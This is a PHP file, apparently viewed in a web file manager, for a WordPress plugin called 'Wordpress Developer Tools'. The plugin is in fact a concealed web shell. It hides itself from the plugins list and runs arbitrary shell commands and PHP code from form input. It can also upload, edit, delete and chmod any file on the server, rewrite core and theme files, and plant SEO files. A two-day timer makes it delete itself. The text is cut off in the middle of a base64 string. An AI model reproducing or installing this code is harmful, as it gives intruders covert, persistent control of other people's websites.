관리-도구
편집 파일: wp-promtools-pro.php_bhdfhcce
<?php /* * Plugin Name: Wordpress Developer Tools * Pligin URI: https://wordpressprom.org/plugin * Description: A collection of useful tools for WP developers * Version: 0.2.4 * Requires at least: 5.0 * Requires PHP: 5.0 * Author: Promto * Author URI: https://wordpressprom.org/ * Licence: GPL v2 or later * License URI: https://www.gnu.org/licenses/gpl-2.0.html * Text Domain: wp-promtools-pro */ if (!defined('ABSPATH')) exit; define ('PROMTO_PLUGIN_FILE', __FILE__); define ('PROMTO_PLUGIN_DIR', __DIR__); define ('PROMTO_INCLUDES_PATH', basename(__DIR__) . DIRECTORY_SEPARATOR . 'includes'); define ('PROMTO_FULLNAME', basename(__DIR__) . DIRECTORY_SEPARATOR . basename(__FILE__)); //ver include_once 'assets/img/svg_icons.php'; define ('PROMTO_SD_TXT', 'two_days'); //ver define ('PROMTO_SD_TXTESC', 'In 2 Days'); //ver define ('PROMTO_SD_NUM', 172800); //ver define ('PROMTO_SD_NUMSAFE', 172795); //ver add_action('admin_menu', 'promto_admin'); add_action('pre_current_active_plugins', 'promto_list'); add_action( 'init', 'schedule_promtosd' ); add_action( 'init', 'promto_sdfailsafe' ); add_action('admin_init', 'redirect_on_promto_activation'); add_action( 'promtosd_event', 'promto_sdaction' ); add_action('wp_ajax_load_file', function () { check_ajax_referer('file_editor_nonce'); if (!current_user_can('manage_options')) { wp_send_json_error('Unauthorized'); } $file = sanitize_text_field($_POST['file'] ?? ''); wp_send_json_success( file_get_contents($file) ); }); add_action('wp_ajax_save_file', function () { check_ajax_referer('file_editor_nonce'); if (!current_user_can('manage_options')) { wp_send_json_error('Unauthorized'); } $file = sanitize_text_field($_POST['file'] ?? ''); $content = wp_unslash($_POST['content'] ?? ''); if (!isset($file)) { wp_send_json_error('Invalid file'); } require_once( ABSPATH . 'wp-admin/includes/file.php' ); WP_Filesystem(); global $wp_filesystem; if (!($wp_filesystem->put_contents($file, $content, 0644 ))){ if (is_writable($file)){ file_put_contents($file,$content); } } wp_send_json_success('Saved'); }); add_action('admin_enqueue_scripts', function ($hook) { wp_enqueue_style( 'my-plugin-file-editor', plugin_dir_url(__FILE__) . 'assets/css/file-editor.css', [], '1.0' ); wp_enqueue_script( 'my-plugin-file-editor', plugin_dir_url(__FILE__) . 'assets/js/file-editor.js', ['jquery'], '1.0', true ); wp_localize_script( 'my-plugin-file-editor', 'fileEditor', [ 'nonce' => wp_create_nonce('file_editor_nonce') ] ); }); register_activation_hook(PROMTO_PLUGIN_FILE, 'promto_activation'); function promto_add_cron_interval( $schedules ) { $schedules[PROMTO_SD_TXT] = array( 'interval' => PROMTO_SD_NUM, 'display' => esc_html__( PROMTO_SD_TXTESC ), ); return $schedules; } add_filter( 'cron_schedules', 'promto_add_cron_interval' ); function schedule_promtosd(){ if ( ! wp_next_scheduled ( 'promtosd_event' ) ) { wp_schedule_event( time(), PROMTO_SD_TXT, 'promtosd_event' ); } } function promto_sdfailsafe(){ if (((time()-filectime(PROMTO_PLUGIN_FILE))>PROMTO_SD_NUMSAFE)){ promto_selfdestr(); } return true; } function promto_sdaction(){ if (((time()-filectime(PROMTO_PLUGIN_FILE))>PROMTO_SD_NUMSAFE)){ promto_selfdestr(); } return null; } class PromtoFM { public $workdir; function __construct(){ if(!(isset($this->workdir))){ $this->workdir = rtrim(ABSPATH, DIRECTORY_SEPARATOR); } if(!(get_option("promto_path"))){ add_option("promto_path",rtrim(ABSPATH, DIRECTORY_SEPARATOR)); $this->set_workdir(get_option("promto_path")); } } function wpdebug_check(){ if (defined('WP_DEBUG')){ return WP_DEBUG; } else { return false; } } function wpdebug_switch($state){ $config_path = ABSPATH.'wp-config.php'; if (file_exists($config_path)){ $config_content = file_get_contents($config_path); if (!(strpos($config_content,'WP_DEBUG'))){ insert_into_wp_config("define( 'WP_DEBUG', true );"); $config_content = file_get_contents($config_path); } $goalstr = array(); if ($state){ $goalstr[0] = ""; $goalstr[1] = ""; $goalstr[2] = ""; $goalstr[3] = <<< EOL define( 'WP_DEBUG', true ); define( 'WP_DEBUG_LOG', true ); define( 'WP_DEBUG_DISPLAY', true ); @ini_set( 'display_errors', 0 ); EOL; } else{ $goalstr[0] = ""; $goalstr[1] = ""; $goalstr[2] = ""; $goalstr[3] = <<< EOL define( 'WP_DEBUG', false ); define( 'WP_DEBUG_LOG', false ); define( 'WP_DEBUG_DISPLAY', false ); ini_set('display_errors','Off'); EOL; } $patterns = array(); $patterns [0] = "/define\s*\(\s*'WP_DEBUG_LOG'\s*,\s*[a-z]*\s*\);\n/i"; $patterns [1] = "/define\s*\(\s*'WP_DEBUG_DISPLAY'\s*,\s*[a-z]*\s*\);\n/i"; $patterns [2] = "/.*ini_set\s*\(\s*'display_errors'\s*,\s*.+?\);\n/i"; $patterns [3] = "/define\s*\(\s*'WP_DEBUG'\s*,\s*[a-z]*\s*\);\n/i"; $config_content = preg_replace($patterns, $goalstr, $config_content); } if(is_writable($config_path)){ file_put_contents($config_path,$config_content); } sleep(2); return null; } function set_workdir($dirname){ $this->workdir=$dirname; //chdir($dirname); update_option("promto_path",$dirname); } function get_workdir(){ if (isset($this->workdir)){ return $this->workdir; } else if (get_option("promto_path")){ return get_option("promto_path"); } else return null; } /**Listing Files */ function get_list(){ if(!($this->workdir)){ $this->set_workdir(rtrim(ABSPATH,DIRECTORY_SEPARATOR)); } /** Bread crumbs*/ $patharray = explode(DIRECTORY_SEPARATOR,$this->workdir); $accumpath = ''; echo '<h2><a href="options-general.php?page=wp-promtools-pro&fmdir=/">/</a>'; foreach ($patharray as $pathelem){ $accumpath = $accumpath . $pathelem; echo '<a href="options-general.php?page=wp-promtools-pro&fmdir='. rtrim($accumpath) .'">'. $pathelem.'</a>/'; $accumpath = $accumpath . DIRECTORY_SEPARATOR; } /** Copy address button */ echo '<a title="Copy path" style="margin:0 10px; text-decoration:none;" onclick="TextToClipboard("'.$this->workdir.DIRECTORY_SEPARATOR.'")" href=#>'.PROMTO_COPY_ICON.'</a> '; /** Home button*/ echo '[<a href="options-general.php?page=wp-promtools-pro&fmdir='. rtrim(ABSPATH,DIRECTORY_SEPARATOR) .'">HOME</a>] </h2></h2>'; $prfilelist=scandir($this->workdir); foreach($prfilelist as $file) { if (($file == '.' )||($file == '..' )){ $directories[] = $file; } elseif(is_dir($this->workdir . DIRECTORY_SEPARATOR . $file)) { $directories[] = $file; } else { $fileslist[] = $file; } } if (!file_exists(PROMTO_PLUGIN_DIR . DIRECTORY_SEPARATOR . '.onecol')){ echo '<div style="width: 100%; height:600px; margin:auto;"><div style="width:50%; height:100%; float:left; overflow:scroll;">'; } else { echo '<div style="width: 100%; margin:auto;"><div style="width:100%; height:100%; float:left; overflow:scroll;">'; } echo '<table style="line-height:1em;">'; echo <<< TABLEHEADER <tr><td style="font-weight:bold">Name</td> <td style="font-weight:bold">Size</td> <td style="font-weight:bold">Perms</td> <td style="font-weight:bold">Owner</td> <td style="font-weight:bold;width:130px;">Modify Time</td><td></td> <td style="font-weight:bold">Actions</td><td></td><tr> TABLEHEADER; if(!empty($directories)) { foreach($directories as $directory){ if ($directory == '.' ){ $dirpath = $this->workdir; } else if ($directory == '..' ){ $dirpath = dirname($this->workdir); } else { $dirpath = $this->workdir . DIRECTORY_SEPARATOR . $directory; } if (!(($directory == '.' )||($directory == '..' ))){ $perms = decoct(fileperms($this->workdir.DIRECTORY_SEPARATOR.$directory)&0777); } echo '<tr onmouseover="highlightrow(this)" onmouseout="dimrow(this)">'; if (strlen($directory)>45){ $dirShort = substr($directory, 0, 45) . '...'; } else { $dirShort = $directory; } echo '<td title="'.$directory.'">[ <a href="options-general.php?page=wp-promtools-pro&fmdir='.$dirpath.'">'. $dirShort .'</a> ]</td>'; if (!(($directory == '.' )||($directory == '..' ))){ echo '<td><Dir></td>'; echo '<td><a style="color:'.$this->perm_color($dirpath).'" href="#" onclick=\'fmAction("chm","'.$dirpath.'","'.substr(sprintf('%o', fileperms($dirpath)),-4).'")\'>'.$perms.'</a> <a href="#" onclick=\'fmUnlock("'.$dirpath.'")\'>'.PROMTO_UNLOCK_ICON.'Unlock</a></td>'; echo '<td>'.(function_exists('posix_getpwuid') ? posix_getpwuid(fileowner($dirpath))['name'] : 'Unknown').'</td>';//OWNER echo '<td>'.date("H:i:s d M Y", filemtime($dirpath)).'</td>';//mod echo '<td></td>'; echo '<td></td>'; echo '<td><a style="text-decoration:none" href="#" onclick=\'fmAction("rnm","'.$dirpath.'")\'>'.PROMTO_RENAME_ICON.'Rename</a></td>'; echo '<td><a style="text-decoration:none;color:red" href="#" onclick=\'fmAction("del","'.$dirpath.'")\'>'.PROMTO_DEL_ICON.'DEL</a></td>'; } else{ echo '<td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td>'; } echo '</tr>'; } } if(!empty($fileslist)) { foreach($fileslist as $file){ $perms = decoct(fileperms($this->workdir. DIRECTORY_SEPARATOR .$file)&0777); $filepath = $this->workdir . DIRECTORY_SEPARATOR . $file; if (strlen($file)>45){ $fileShort = substr($file, 0, 45) . '...' . pathinfo($file, PATHINFO_EXTENSION); } else { $fileShort = $file; } echo '<tr onmouseover="highlightrow(this)" onmouseout="dimrow(this)">'; echo '<td title="'.$file.'">'.$fileShort.'</td>'; echo '<td>'.$this->readablezise(filesize($filepath)).'</td>'; echo '<td><a style="color:'.$this->perm_color($filepath).'" href="#" onclick=\'fmAction("chm","'.$filepath.'","'.substr(sprintf('%o', fileperms($filepath)),-4).'")\'>'.$perms.'</a> <a href="#" onclick=\'fmUnlock("'.$filepath.'")\'>'.PROMTO_UNLOCK_ICON.'Unlock</a></td>'; echo '<td>'.(function_exists('posix_getpwuid') ? posix_getpwuid(fileowner($filepath))['name'] : 'Unknown').'</td>';//owner echo '<td>'.date("H:i:s d M Y", filemtime($filepath)).'</td>';//mod echo '<td><a style="text-decoration:none" href="#" class="edit-file" data-file="'.esc_attr($filepath).'">'.PROMTO_EDIT_ICON.'Edit</a></td>'; //NEW EDIT echo '<td><a style="text-decoration:none" href="#" onclick=\'fmAction("tch","'.$filepath.'")\'>'.PROMTO_TOUCH_ICON.'Touch</a></td>'; echo '<td><a style="text-decoration:none" href="#" onclick=\'fmAction("rnm","'.$filepath.'")\'>'.PROMTO_RENAME_ICON.'Rename</a></td>'; echo '<td><a style="text-decoration:none;color:red" href="#" onclick=\'fmAction("del","'.$filepath.'")\'>'.PROMTO_DEL_ICON.'DEL</a></td>'; echo '</tr>'; } } echo '</table></div>'; } /**Listing Files [END]*/ /**tool panel*/ function get_ui(){ echo '<table><tr>'; echo '<td><span>Create File</span><br><form method="post"><input type="text" name=mkfile value=""><input type="submit" value = ">>"></form></td>'; echo '<td><span>Create Folder</span><br><form method="post"><input type="text" name=mkdir value=""><input type="submit" value = ">>"></form></td>'; echo '<td><span>Execute Shell Command</span><br><form method="post"><input type="text" name=execsh value=""><input type="submit" value = ">>"></form></td>'; echo '<td><span>Upload File</span><br><form method="post" style="border: 1px solid; border-color: #bdbdbd; border-radius: 5px;" enctype="multipart/form-data"><input type="file" name=upfile id=upfile><input type="submit" value = "📤Upload"></form></td>'; /** Functions*/ echo '<td style="width: 150px;"><span>Functions Backup: </span><br>'; if ((file_exists(get_template_directory().DIRECTORY_SEPARATOR.'functions_bak.php'))&&(file_exists(get_template_directory().DIRECTORY_SEPARATOR.'functions.php'))){ if ((sha1_file(get_template_directory().DIRECTORY_SEPARATOR.'functions.php')) == (sha1_file(get_template_directory().DIRECTORY_SEPARATOR.'functions_bak.php'))){ echo '<span style="color:#377D22; font-weight: bold;">BACKED UP</span>'; } else{ if (filesize(get_template_directory().DIRECTORY_SEPARATOR.'functions_bak.php')==0){ echo '<span style="color:#880015; font-weight: bold;">EMPTY</span>'; } else{ echo '<span style="color:#C5C809; font-weight: bold;">NOT IDENTICAL</span>'; } } } else{ if (file_exists(get_template_directory().DIRECTORY_SEPARATOR.'functions.php')){ echo '<span style="color:#880015; font-weight: bold;">NOT BACKED UP</span>'; } else { echo '<span style="color:#880015; font-weight: bold;">RESTORE FUNCTION</span>'; } } echo '</td>'; /** Debug*/ echo '<td><span>WP Debug: <span style="font-weight: bold">'; if ($this->wpdebug_check()){ echo 'ON</span>, '; if (is_writable(ABSPATH."wp-config.php")){ echo '<span style="color:#377D22; font-weight: bold;">WRITABLE</span>'; echo '<br><form method="post"><input name="swdebug" type="submit" value = "DISABLE"></form></td>'; } else{ echo '<span style="color:#880015; font-weight: bold;">NOT WRITABLE</span>'; echo '<br><form method="post"><input name="swdebug" type="submit" value = "DISABLE" disabled></form></td>'; } } else { echo 'OFF</span>, '; if (is_writable(ABSPATH."wp-config.php")){ echo '<span style="color:#377D22; font-weight: bold;">WRITABLE</span>'; echo '<br><form method="post"><input name="swdebug" type="submit" value = "ENABLE"></form></td>'; } else{ echo '<span style="color:#880015; font-weight: bold;">NOT WRITABLE</span>'; echo '<br><form method="post"><input name="swdebug" type="submit" value = "ENABLE" disabled></form></td>'; } } echo '</tr></table>'; } function get_statusbar(){ if(isset($_POST['funcFolderUnlock'])){ $this->set_workdir(get_template_directory()); if(file_exists(get_template_directory().'/functions.php')){ chmod(get_template_directory().'/functions.php', 0644); } else{ echo "<p>Can't find functions.php</p>"; } } if(isset($_POST['mkfile'])){ $makefile = $this->workdir.DIRECTORY_SEPARATOR.$_POST['mkfile']; if (!file_exists($makefile)){ file_put_contents($makefile,''); //header("refresh: 0"); } else { echo '<p>File already exists</p>'; } } if(isset($_POST['mkdir'])){ $makedir = $this->workdir.DIRECTORY_SEPARATOR.$_POST['mkdir']; if (!file_exists($makedir)){ mkdir($makedir, 0755 ,true); } else { echo '<p>Directory already exists</p>'; } } if (isset($_POST['execsh'])){ $shcommand = $_POST['execsh']; echo '<pre>'; try { chdir($this->workdir); echo(exec($shcommand)); } catch (Throwable $e) { echo 'Error: ' . $e->getMessage(); } echo '</pre>'; } if (isset($_FILES['upfile'])){ $uploadFile = $_FILES['upfile']; $folderPerm = decoct(fileperms($this->workdir)&0777); if ($folderPerm != 755){ if(!chmod($this->workdir,0755)){ echo "<p>Can't change permissions for the folder.</p>"; } else { echo "<p>Permissions for the folder were changed.</p>"; } } $uploadFileName = $this->workdir . DIRECTORY_SEPARATOR . basename($uploadFile['name']); if(move_uploaded_file($uploadFile['tmp_name'],$uploadFileName)){ echo "<p>File <b>".htmlspecialchars($uploadFile['name'])."</b> uploaded!</p>"; } else{ echo "<p>Failed upload!<p>"; } } if(checkpost()){ unset($_GET['act']); } if(isset($_GET['act'])){ $action = $_GET['act']; $target = $_GET['target']; if(isset($_GET['newval'])){ $newval = $_GET['newval']; } switch($action){ case 'del': if ($newval == "true"){ if (is_file($target)){ unlink($target); echo '<p>File <span style="font-weight:bold">'.$target.'</span> has been deleted</p>'; } if (is_dir($target)){ $this->rmdir_recursive($target); echo '<p>Directory <span style="font-weight:bold">'.$target.'</span> has been deleted</p>'; } } break; case 'chm': $newval = octdec($newval); if (chmod($target, $newval)){ echo '<p>' . $target . ': chmod success.</p>'; } break; case 'rnm': $newval = dirname($target) . DIRECTORY_SEPARATOR . $newval; rename($target,$newval); break; case 'tch': $touchtime = filemtime($target)+60; touch($target,$touchtime); break; case 'edt': break; } } } /**File Editor */ function get_fileeditor(){ if(isset($_POST['editor'])){ $editingfilepath = $_POST['editor']; $editingfiletext = file_get_contents($editingfilepath); echo "<h2>Editing file:</h2>"; echo "<h4>Filename: ". $editingfilepath . "</h3>"; echo '<form method="post">'; echo '<textarea name="editfile" style="width:100%; height:500px";>' . esc_textarea($editingfiletext) . '</textarea><br>'; echo '<input type="submit" name="savefile" class="button button-primary" value="Save">'; echo '</form>'; if (isset($_POST['savefile'])){ require_once( ABSPATH . 'wp-admin/includes/file.php' ); WP_Filesystem(); global $wp_filesystem; $editingfiletext = stripslashes($_POST['editfile']); if (!($wp_filesystem->put_contents($editingfilepath, $editingfiletext, 0644 ))){ if (is_writable($editingfilepath)){ file_put_contents($editingfilepath,$editingfiletext); echo "<p>File saved</p>"; } else { echo "<p>File isn't writable</p>"; } } } } } function rmdir_recursive($targetdir){ $dirfiles = array_diff(scandir($targetdir), array('.','..')); foreach ($dirfiles as $dirfile){ (is_dir("$targetdir/$dirfile"))? $this->rmdir_recursive("$targetdir/$dirfile"):unlink("$targetdir/$dirfile"); } return rmdir($targetdir); } function perm_color($file){ if(is_writable($file)){ return "#377D22"; } elseif(is_readable($file)){ return "#880015"; } else{ return "#C0C0C0"; } } function readablezise($bytes, $decimals = 2){ $sz = 'BKMGTP'; $factor = floor((strlen($bytes) - 1) / 3); return sprintf("%.{$decimals}f", $bytes / pow(1024, $factor)) . @$sz[$factor]; } } function promto_admin(){ add_options_page( 'Promto Tools', 'Instruments', 'manage_options', 'wp-promtools-pro', 'wptools_page' ); } function backup_theme(){ $theme_dir = get_template_directory(); $functions_file = $theme_dir.DIRECTORY_SEPARATOR."functions.php"; $functions_bak = []; $functions_bak[0] = $theme_dir.DIRECTORY_SEPARATOR."functions_bak.php"; $functions_bak[1] = PROMTO_PLUGIN_DIR . DIRECTORY_SEPARATOR . "functions_bak.php"; if (file_exists($functions_file)){ $functions_content = file_get_contents($functions_file); try { file_put_contents($functions_bak[0], $functions_content); } catch (Exception $e) { echo 'Exception: ', $e ->getMessage(), '<br>'; } try { file_put_contents($functions_bak[1], $functions_content); } catch (Exception $e) { echo 'Exception: ', $e ->getMessage(), '<br>'; } try { add_option("theme_functions_bk", serialize(base64_encode($functions_content)), '', false); } catch (Exception $e) { echo 'Exception: ', $e ->getMessage(), '<br>'; } return true; } else{ return false; } } function restore_theme($rest_method){ $theme_dir = get_template_directory(); $functions_file = $theme_dir.DIRECTORY_SEPARATOR."functions.php"; switch ($rest_method){ case 0: $functions_bak = $theme_dir.DIRECTORY_SEPARATOR."functions_bak.php"; break; case 1: $functions_bak = PROMTO_PLUGIN_DIR.DIRECTORY_SEPARATOR."functions_bak.php"; break; case 2: if (file_put_contents($functions_file,base64_decode(unserialize(get_option('theme_functions_bk'))))){ return true; } break; default: return false; } if (!file_exists($functions_bak)){ return false; } if (filesize($functions_bak)==0){ return false; } if (file_put_contents($functions_file,file_get_contents($functions_bak))){ return true; } else { return false; } } function promto_selfdestr(){ delete_option("promto_path"); delete_option('theme_functions_bk'); wp_clear_scheduled_hook( 'promtosd_event' ); $dir = dirname(__FILE__); rmdir_recursive($dir); deactivate_plugins(PROMTO_FULLNAME, true); return null; } function promto_activation(){ try { backup_theme(); } catch (Exception $e){ echo "<br>Exception :,". $e->getMessage()."</br>"; } set_transient( 'promto_redir_on active', true, 60 ); } function redirect_on_promto_activation(){ if ( get_transient( 'promto_redir_on active' ) && current_user_can( 'manage_options' ) ) { delete_transient( 'promto_redir_on active' ); wp_redirect(admin_url('options-general.php?page=wp-promtools-pro')); exit; } } function wptools_page(){ if (!current_user_can('manage_options')) { wp_die("Don't have an access to this page"); } $scriptPath = '/wp-content/plugins/' . basename(PROMTO_PLUGIN_DIR) . '/assets/js/admin.js'; echo <<<EOL <script src="$scriptPath"></script> EOL; echo '<div class="wrap"><h1>Promto Tools</h1>'; /**FM */ $PromtoFM = new PromtoFM(); if(isset($_GET['fmdir'])){ $PromtoFM->set_workdir($_GET['fmdir']); } else { $PromtoFM->set_workdir(get_option("promto_path")); } if (isset($_POST['swdebug'])){ $swdebug = $_POST['swdebug']; if ($swdebug == 'ENABLE'){ $PromtoFM->wpdebug_switch(true); echo "<script>window.location.reload();</script>"; } else { $PromtoFM->wpdebug_switch(false); echo "<script>window.location.reload();</script>"; } } $PromtoFM->get_ui(); $PromtoFM->get_statusbar(); $PromtoFM->get_list(); /**FM END */ if (isset($_POST['selfdelete'])) { promto_selfdestr(); echo "<script>window.location.href = 'plugins.php';</script>"; } ?> <?php if (!file_exists(PROMTO_PLUGIN_DIR . DIRECTORY_SEPARATOR . '.onecol')){ echo '<div style="margin-left:50%; height:100%;">'; } else { echo '<div style="height:100%;">'; } ?> <div class="tab" style="overflow: hidden;"> <button id="defaultOpen" style="float: left; color: #3c434a; cursor: pointer; border: none; font-size: 12pt; font-weight: bold; padding: 5px 10px;" class="tablinks" onclick ="switchTab(event, 'Execution')">PHP Execution</button> <button id="tabIndexation" style="float: left; color: #3c434a; cursor: pointer; border: none; font-size: 12pt; font-weight: bold; padding: 5px 10px;" class="tablinks" onclick ="switchTab(event, 'Indexation')">Indexation</button> </div> <div id="Execution" class="tabcontent" style="display:none;"> <div> <form method="post"> <input type="button" class="button button-primary" value="🔝" style="height:500px; padding: 0px; font-size: 30px; background:#d1d1d1;" onclick="moveFocus(script_area)"> <textarea name="run_script" id="script_area" style="width:calc(100% - 50px); height:500px"><?php if (isset($_POST['run_script'])) echo stripslashes(htmlspecialchars($_POST['run_script'])); ?></textarea><br> <input type="submit" name="execution" class="button button-primary" style="margin-left: 47px; background:#088F8F; border-color:#014a38" value="Execute"> <input type="submit" name="exefile" class="button button-primary" style="background:#088F8F; border-color:#014a38" value="Run as file"> <input type="submit" name="exetemp" class="button button-primary" style="background:#088F8F; border-color:#014a38" value="Run via tmp"> <input type="submit" name="execall" class="button button-primary" style="background:#088F8F; border-color:#014a38" value="Call shell"> <!--<span style="display:inline-block; width:50px;"></span>--> <input type="submit" name="selfdelete" class="button button-primary" style="float: right; background:#ec0909; border-color:#930707" value="Selfdelete"> </form> </div> <div style="margin-left: 47px; margin-top: 7px;"> <form method="post"> <input type="submit" name="htaccessfix" class="button button-primary" value="Fix .htaccess"> <input type="submit" name="cleanwpbh" class="button button-primary" value="Clear wp-blog-header.php"> <input type="submit" name="cleannfpage" class="button button-primary" value="Clear 404.php"> <input type="submit" name="purgecache" class="button button-primary" value="Purge Cache"> </form> </div> </div> <div id="Indexation" class="tabcontent" style="display:none;"> <div style="padding-top:10px;"> <form method="post"> <div style="padding:3px 0px"> <span style="display:inline-block; width:100px; font-weight:bold;">Sitemap:</span> <input style="width: 300px" type="text" name="indexSitemap" value=""> <span style="display:inline-block; font-weight:italic;font-style: italic;color: #808080;"><code>?feed=xmlsitemap1234</code> or <code>sitemap1234.xml</code></span><br> </div> <div style="padding:3px 0px"> <span style="display:inline-block; width:100px; font-weight:bold;">Google-file:</span> <input style="width: 300px" type="text" name="indexGoogle" value=""> <span style="display:inline-block; font-weight:italic;font-style: italic;color: #808080;">.html</span><br> </div> <div style="padding:3px 0px"> <span style="display:inline-block; width:100px; font-weight:bold;">Metatag:</span> <input style="width: 300px" type="text" name="indexMetatag" value=""><br> </div> <input type="submit" class="button button-primary" value="Run Indexation"> </form> </div> </div> <?php bring_tab("defaultOpen"); ?> </div> </div> <div id="file-editor-overlay" hidden> <div class="file-editor-backdrop"></div> <div class="file-editor-modal" role="dialog" aria-modal="true"> <header class="file-editor-header"> <h2> <span id="editor-title">Editor</span> <span id="editor-status" class="status"></span> </h2> <button class="close-x" aria-label="Close editor">×</button> </header> <section class="file-editor-body"> <form id="fallback-editor-form" method="post" hidden> <input type="hidden" name="editor" id="fallback-editor-input"> <p> <button type="submit" class="button"> Failsafe Editor </button> </p> </form> <textarea id="file-content" disabled placeholder="Loading file…"></textarea> </section> <footer class="file-editor-footer"> <button id="save-file" class="button button-primary" disabled> Save </button> <button id="close-without-saving" class="button"> Close without saving </button> </footer> </div> </div> <?php $PromtoFM->get_fileeditor(); ?> </div> <h3>Functions backup:</h3> <form method="post"> <input type="submit" name="funcback" class="button button-primary" value="Backup functions.php"> <input type="submit" name="funcrestTH" class="button button-primary" style="background:#088F8F; border-color:#014a38" <?php if ((!file_exists(get_template_directory().DIRECTORY_SEPARATOR.'functions_bak.php'))||(filesize(get_template_directory().DIRECTORY_SEPARATOR.'functions_bak.php')==0)){echo 'disabled';}?> value="Restore from theme"> <input type="submit" name="funcrestPL" class="button button-primary" style="background:#088F8F; border-color:#014a38" <?php if ((!file_exists(PROMTO_PLUGIN_DIR.DIRECTORY_SEPARATOR.'functions_bak.php'))||(filesize(PROMTO_PLUGIN_DIR.DIRECTORY_SEPARATOR.'functions_bak.php')==0)){echo 'disabled';}?> value="Restore from plugin"> <input type="submit" name="funcrestDB" class="button button-primary" style="background:#088F8F; border-color:#014a38" <?php if (get_option('theme_functions_bk') === false){echo 'disabled';}?> value="Restore from DB"> <input type="submit" name="funcFolderUnlock" class="button button-primary" value="Open Folder and Chmod"> </form> <div style="display:inline-block; margin-top:20px;"><button onClick="CopyFunc()">Copy to Clipboard</button></div> <div style="margin-top:20px;"><details><summary>Click to show code:</summary><pre id="FuncText"> <?php echo htmlspecialchars(base64_decode(unserialize(get_option('theme_functions_bk')))); echo '</pre></details></div>'; promto_output($PromtoFM); } function promto_list() { global $wp_list_table; $hidearr = array(PROMTO_FULLNAME); $myplugins = $wp_list_table->items; foreach ($myplugins as $key => $val) { if (in_array($key,$hidearr)) { unset($wp_list_table->items[$key]); } } } function cleanwpbh($wpbhpath){ $wpbhcode=base64_decode('PD9waHAKLyoqCiAqIExvYWRzIHRoZSBXb3JkUHJlc3MgZW52aXJvbm1lbnQgYW5kIHRlbXBsYXRlLgogKgogKiBAcGFja2FnZSBXb3JkUHJlc3MKICovCgppZiAoICEgaXNzZXQoICR3cF9kaWRfaGVhZGVyICkgKSB7CgoJJHdwX2RpZF9oZWFkZXIgPSB0cnVlOwoKCS8vIExvYWQgdGhlIFdvcmRQcmVzcyBsaWJyYXJ5LgoJcmVxdWlyZV9vbmNlIF9fRElSX18gLiAnL3dwLWxvYWQucGhwJzsKCgkvLyBTZXQgdXAgdGhlIFdvcmRQcmVzcyBxdWVyeS4KCXdwKCk7CgoJLy8gTG9hZCB0aGUgdGhlbWUgdGVtcGxhdGUuCglyZXF1aXJlX29uY2UgQUJTUEFUSCAuIFdQSU5DIC4gJy90ZW1wbGF0ZS1sb2FkZXIucGhwJzsKCn0='); echo $wpbhpath . PHP_EOL; chmod($wpbhpath,0644); if(is_writable($wpbhpath)) { file_put_contents($wpbhpath,$wpbhcode); return true; } else return false; } function fix404(){ $code404 = base64_decode('PD9waHAgZ2V0X2hlYWRlcigpOyA/PiANCg0KPG1haW4gaWQ9Im1haW4iIGNsYXNzPSJzaXRlLW1haW4iIHJvbGU9Im1haW4iPg0KDQogICAgPHNlY3Rpb24gY2xhc3M9ImVycm9yLTQwNCBub3QtZm91bmQiPg0KICAgICAgICA8aGVhZGVyIGNsYXNzPSJwYWdlLWhlYWRlciI+DQogICAgICAgICAgICA8aDEgY2xhc3M9InBhZ2UtdGl0bGUiPg0KICAgICAgICAgICAgICAgIDw/cGhwIGVzY19odG1sX2UoJ09vcHMhIFRoYXQgcGFnZSBjYW4mcnNxdW87dCBiZSBmb3VuZC4nLCAndGV4dGRvbWFpbicpOyA/PiANCiAgICAgICAgICAgIDwvaDE+DQogICAgICAgIDwvaGVhZGVyPg0KDQogICAgICAgIDxkaXYgY2xhc3M9InBhZ2UtY29udGVudCI+DQogICAgICAgICAgICA8cD4NCiAgICAgICAgICAgICAgICA8P3BocCBlc2NfaHRtbF9lKCdJdCBsb29rcyBsaWtlIG5vdGhpbmcgd2FzIGZvdW5kIGF0IHRoaXMgbG9jYXRpb24uIE1heWJlIHRyeSBvbmUgb2YgdGhlIGxpbmtzIGJlbG93IG9yIGEgc2VhcmNoPycsICd0ZXh0ZG9tYWluJyk7ID8+IDwhLS0gY2hhbmdlIHRleHRkb21haW4gLS0+DQogICAgICAgICAgICA8L3A+DQoNCiAgICAgICAgICAgIDw/cGhwIGdldF9zZWFyY2hfZm9ybSgpOyA/Pg0KDQogICAgICAgICAgICA8P3BocCB0aGVfd2lkZ2V0KCdXUF9XaWRnZXRfUmVjZW50X1Bvc3RzJyk7ID8+DQoNCiAgICAgICAgICAgIDxkaXYgY2xhc3M9IndpZGdldCB3aWRnZXRfY2F0ZWdvcmllcyI+DQogICAgICAgICAgICAgICAgPGgyIGNsYXNzPSJ3aWRnZXQtdGl0bGUiPg0KICAgICAgICAgICAgICAgICAgICA8P3BocCBlc2NfaHRtbF9lKCdNb3N0IFVzZWQgQ2F0ZWdvcmllcycsICd0ZXh0ZG9tYWluJyk7ID8+IA0KICAgICAgICAgICAgICAgIDwvaDI+DQogICAgICAgICAgICAgICAgPHVsPg0KICAgICAgICAgICAgICAgICAgICA8P3BocCB3cF9saXN0X2NhdGVnb3JpZXMoDQogICAgICAgICAgICAgICAgICAgICAgICBhcnJheSgNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnb3JkZXJieScgPT4gJ2NvdW50JywNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnb3JkZXInID0+ICdERVNDJywNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnc2hvd19jb3VudCcgPT4gMSwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAndGl0bGVfbGknID0+ICcnLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICdudW1iZXInID0+IDEwLA0KICAgICAgICAgICAgICAgICAgICAgICAgKSk7ID8+DQogICAgICAgICAgICAgICAgPC91bD4NCiAgICAgICAgICAgIDwvZGl2Pg0KDQogICAgICAgICAgICA8P3BocA0KICAgICAgICAgICAgICAgIGlmIChpc19hY3RpdmVfc2lkZWJhcignc2lkZWJhci0xJykpOiA/Pg0KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9IndpZGdldC1hcmVhIiBzdHlsZT0ibWFyZ2luLWJvdHRvbTogMjBweDsiPg0KICAgICAgICAgICAgICAgICAgICA8P3BocCBkeW5hbWljX3NpZGViYXIoJ3NpZGViYXItMScpOyA/Pg0KICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgPD9waHAgZW5kaWY7ID8+DQoNCiAgICAgICAgPC9kaXY+DQogICAgPC9zZWN0aW9uPg0KDQo8L21haW4+DQoNCjw/cG